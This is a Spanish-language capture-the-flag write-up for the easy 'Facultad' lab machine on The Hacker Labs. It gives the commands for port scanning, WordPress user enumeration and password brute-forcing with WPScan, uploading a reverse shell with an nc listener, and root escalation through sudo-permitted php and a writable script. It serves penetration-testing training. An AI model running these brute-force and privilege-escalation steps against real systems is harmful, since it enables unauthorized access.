> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/mis-ctfs/facultad.md).

# Facultad

✍️ Autor: beafn28🔍 Dificultad: Fácil📅 Fecha de creación: 30/1/2025 🖥️The Hacker Labs

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.61
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fawc84wAYDiGau6xxyvT9%2Fimage.png?alt=media&amp;token=6a8fe4eb-7b26-4067-b5e8-b6bd3b6edae1" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.61
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fj6No7EW6WYO9inXz6SA4%2Fimage.png?alt=media&amp;token=3fa06f90-8fff-480e-b12f-4b5fc23ee497" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 192.168.1.61
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fz1mKNywIstHR5mBOwm5J%2Fimage.png?alt=media&amp;token=9064fda3-c677-47f6-acc4-032c0dbe9aee" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea como el Studium de una asignatura en este caso se llama Administración de Sistemas.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FoL14Sjnf3CVcnnhSCrDO%2Fimage.png?alt=media&amp;token=05a4a139-e5ee-4886-bad3-7d64c723e997" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://192.168.1.61/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FJn2KxGMdqXdsbkUPFCLu%2Fimage.png?alt=media&amp;token=c1598b30-ebb4-4a4a-af55-c4fb797d9f83" alt=""><figcaption></figcaption></figure>

Vamos a ver el contenido del directorio`/images`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FhHQetpzC4AWRUlo5ki0o%2Fimage.png?alt=media&amp;token=c1ef613b-88ac-4805-8eb3-85f909c035ca" alt=""><figcaption></figcaption></figure>

Nos la descargamos para realizar la técnica de esteganografía.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FPA9DVjXr43yZ4jNwxhro%2Fimage.png?alt=media&amp;token=542ce5e7-6d9e-4c88-aa85-94a260a6d921" alt=""><figcaption></figcaption></figure>

Vemos el contenido del archivo. Descubrimos dos posibles usuarios.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FgRnze5io5dVkNEp7sptL%2Fimage.png?alt=media&amp;token=b9fdaaf1-d8b6-4e5b-86e7-ac8e0ac25423" alt=""><figcaption></figcaption></figure>

Vamos a ver el contenido del directorio`/education`.&#x20;

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F2oVZsOIAPtw6HVkts5oU%2Fimage.png?alt=media&amp;token=1bfb5737-cf70-4f02-b243-9dc6cc76b45e" alt=""><figcaption></figcaption></figure>

Como podemos comprobar es un WordPress por lo que añadimos el dominio **facultad.thl** a **/etc/hosts**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FsT4gOrZvXDvhQEzeYnxa%2Fimage.png?alt=media&amp;token=f31c6ad5-f047-4610-b7bd-7ba5bab8bbd5" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Al tener el directorio wp-admin sabemos que es un panel de login pero no tenemos las credenciales por lo que con **WPScan** enumeramos el usuario.

```bash
wpscan --url http://192.168.1.61/education/ --enumerate u,vp
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FR8KgEa3W119dxhtdjrWW%2Fimage.png?alt=media&amp;token=d11cd0b2-e854-4e2a-8e31-2731c5de2041" alt=""><figcaption></figcaption></figure>

Sabiendo el usuario tenemos que conseguir la contraseña.

```bash
wpscan --url http://192.168.1.61/education/ --passwords /usr/share/wordlists/rockyou.txt --usernames facultad
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FZ1Ap9zsweZ1eDH5mJNA6%2Fimage.png?alt=media&amp;token=69fa2f60-a49e-4fd2-add5-4c90c97b9130" alt=""><figcaption></figcaption></figure>

Ingresamos las credenciales en el panel de **login**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FzX3eaTKexOQ81fsIep0j%2Fimage.png?alt=media&amp;token=750a4397-16ad-42f4-9d65-12fb9697299a" alt=""><figcaption></figcaption></figure>

Vemos que hay un apartado para subir archivos por lo que adjuntamos una [ReverseShell](https://www.revshells.com/).

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FJVhT2VJjFFYdFVTnqjaa%2Fimage.png?alt=media&amp;token=c6a01b01-aa05-4140-be4f-cab42bb471bc" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha.

```bash
nc -nlvp 443
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F8uhB0YRMJoEZo387xI2z%2Fimage.png?alt=media&amp;token=e0a5dda7-2845-4213-947b-705d33dd5e95" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FMEJupEqWpYxHmVU2VBTV%2Fimage.png?alt=media&amp;token=a7558a06-47c0-4f42-882f-c0327dc12ec5" alt=""><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/php/>" %}

```bash
sudo -u gabri php -r "system('/bin/bash');"
```

Como comprobamos en el mensaje la contraseña de Vivian está en el mail de Gabri.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FLGG0lDlVcl9eFh1DYNpo%2Fimage.png?alt=media&amp;token=2373d37d-4eeb-4733-beba-78bf137f5363" alt=""><figcaption></figcaption></figure>

Mostramos el contenido que es la contraseña codificada en **Brainfuck** por lo que la decodificamos.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FwsJg0PSyAq1B3ljae9ZF%2Fimage.png?alt=media&amp;token=f7318627-ea7e-4b15-80a9-dbc7cae956ab" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F2I4PI7iB8heBQEQJ6XA0%2Fimage.png?alt=media&amp;token=c8069589-01bd-44b1-be3a-3ca675824b8a" alt=""><figcaption></figcaption></figure>

Iniciamos sesión con las credenciales.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fo40ibGfTan8JwTbruEWB%2Fimage.png?alt=media&amp;token=af4a171b-ff44-4885-ba70-88a244dfeb44" alt=""><figcaption></figcaption></figure>

Tenemos permisos de **root** para ejecutar un script.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FIpcv1FZYcmykBocsU1c5%2Fimage.png?alt=media&amp;token=5a8deef2-e675-4825-9838-a067daf37b28" alt=""><figcaption></figcaption></figure>

Vemos el contenido y así podemos modificarlo para escalar privilegios. Nos damos cuenta que el script se ejecuta cada minuto en el **/etc/crontab**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Feuw4W3PI06MabT0WymRE%2Fimage.png?alt=media&amp;token=10633fa6-d67e-403c-9bb7-d2ad2854dd73" alt=""><figcaption></figcaption></figure>

```bash
#!/bin/bash
bash
```

Ejecutamos.

```
sudo /opt/vivian/script.sh
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FPQJJ1zaNygBkx23EXSsC%2Fimage.png?alt=media&amp;token=e3f73f3c-781d-435d-8c1d-99d0145594ab" alt=""><figcaption></figcaption></figure>

Ya somos **root** por lo que ahora encontraremos la bandera en sus directorios.

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀
